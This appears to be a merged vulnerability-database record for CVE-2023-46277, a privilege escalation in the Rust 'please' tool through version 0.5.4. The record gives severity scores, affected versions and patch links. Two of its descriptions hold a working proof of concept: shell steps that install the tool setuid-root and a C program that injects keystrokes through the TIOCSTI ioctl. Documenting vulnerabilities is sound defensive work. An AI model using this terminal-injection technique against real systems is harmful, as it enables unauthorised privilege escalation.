{"id":"CVE-2023-46277","aliases":["CVE-2023-46277","GHSA-cgf8-h3fp-h956","RUSTSEC-2023-0066"],"related":[],"kind":"vulnerability","state":"published","title":"Pleaser privilege escalation vulnerability","summary":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","summarySource":"cvelist","descriptions":[{"lang":"en","text":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","source":"cvelist"},{"lang":"en","text":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test && cargo build --release\n$ echo \"[${USER}_as_nobody]\"$'\\nname='\"${USER}\"$'\\ntarget=nobody\\nrule=.*\\nrequire_pass=false' | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c\n#include <sys/ioctl.h>\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.","format":"markdown","source":"ghsa"},{"lang":"en","text":"please is vulnerable to privilege escalation using ioctls TIOCSTI\nand TIOCLINUX on systems where they are not disabled.\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test && cargo build --release\n$ echo \"[${USER}_as_nobody]\"$'\\nname='\"${USER}\"$'\\ntarget=nobody\\nrule=.*\\nrequire_pass=false' | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c\n#include <sys/ioctl.h>\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.","format":"markdown","source":"rustsec"},{"lang":"es","text":"please (también conocido como pleaser) hasta 0.5.4 permite la escalada de privilegios a través de TIOCSTI y/o TIOCLINUX ioctl. (Si tanto TIOCSTI como TIOCLINUX están deshabilitados, esto no se puede explotar).","source":"nvd"}],"published":"2023-04-29T12:00:00.000Z","modified":"2026-06-17T06:30:34.020Z","severity":{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"RustSec Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":4.6,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-269"],"affected":[{"ranges":[{"version":"n/a","status":"affected"}],"source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","lastAffected":"0.5.4","status":"affected"}],"vendor":"edneville","product":"please","cpe":"cpe:2.3:a:edneville:please:0.5.4:*:*:*:*:rust:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"0.5.4"}],"ecosystem":"crates.io","package":"pleaser","purl":"pkg:cargo/pleaser","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.0.0-0","status":"affected"}],"ecosystem":"crates.io","package":"pleaser","purl":"pkg:cargo/pleaser","source":"rustsec"},{"ranges":[{"status":"affected","lastAffected":"0.5.4"}],"vendor":"edneville","product":"please","cpe":"cpe:2.3:a:edneville:please:*:*:*:*:*:rust:*:*","source":"nvd"}],"references":[{"url":"https://gitlab.com/edneville/please/-/issues/13","tags":["exploit","issue-tracking","report","web","x-transferred"],"sources":["cvelist","ghsa","rustsec","nvd"]},{"url":"https://gitlab.com/edneville/please/-/merge_requests/69#note_1594254575","tags":["issue-tracking","patch","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/rustsec/advisory-db/pull/1798","tags":["issue-tracking","patch","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2023-0066.html","tags":["advisory","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","rustsec","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46277","tags":["advisory"],"sources":["ghsa"]},{"url":"https://gitlab.com/edneville/please","tags":["package"],"sources":["ghsa"]},{"url":"https://crates.io/crates/pleaser","tags":["package"],"sources":["rustsec"]}],"credits":[],"assigner":"mitre","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-09-12T14:41:19.468Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-46277","url":"https://www.cve.org/CVERecord?id=CVE-2023-46277","licence":"CVE Terms of Use","modified":"2024-09-12T14:43:57.551Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cgf8-h3fp-h956","url":"https://github.com/advisories/GHSA-cgf8-h3fp-h956","licence":"CC-BY-4.0","modified":"2024-09-12T18:41:42.000Z"},{"source":"rustsec","name":"RustSec Advisory Database","id":"RUSTSEC-2023-0066","url":"https://rustsec.org/advisories/RUSTSEC-2023-0066.html","licence":"CC0-1.0","modified":"2024-02-10T15:57:43.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-46277","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46277","licence":"Public domain","modified":"2026-06-17T06:30:34.020Z"}],"updatedAt":"2026-11-25T22:58:28.962Z","epss":{"score":0.00308,"percentile":0.25455,"date":"2026-12-01T12:00:22.000Z"}}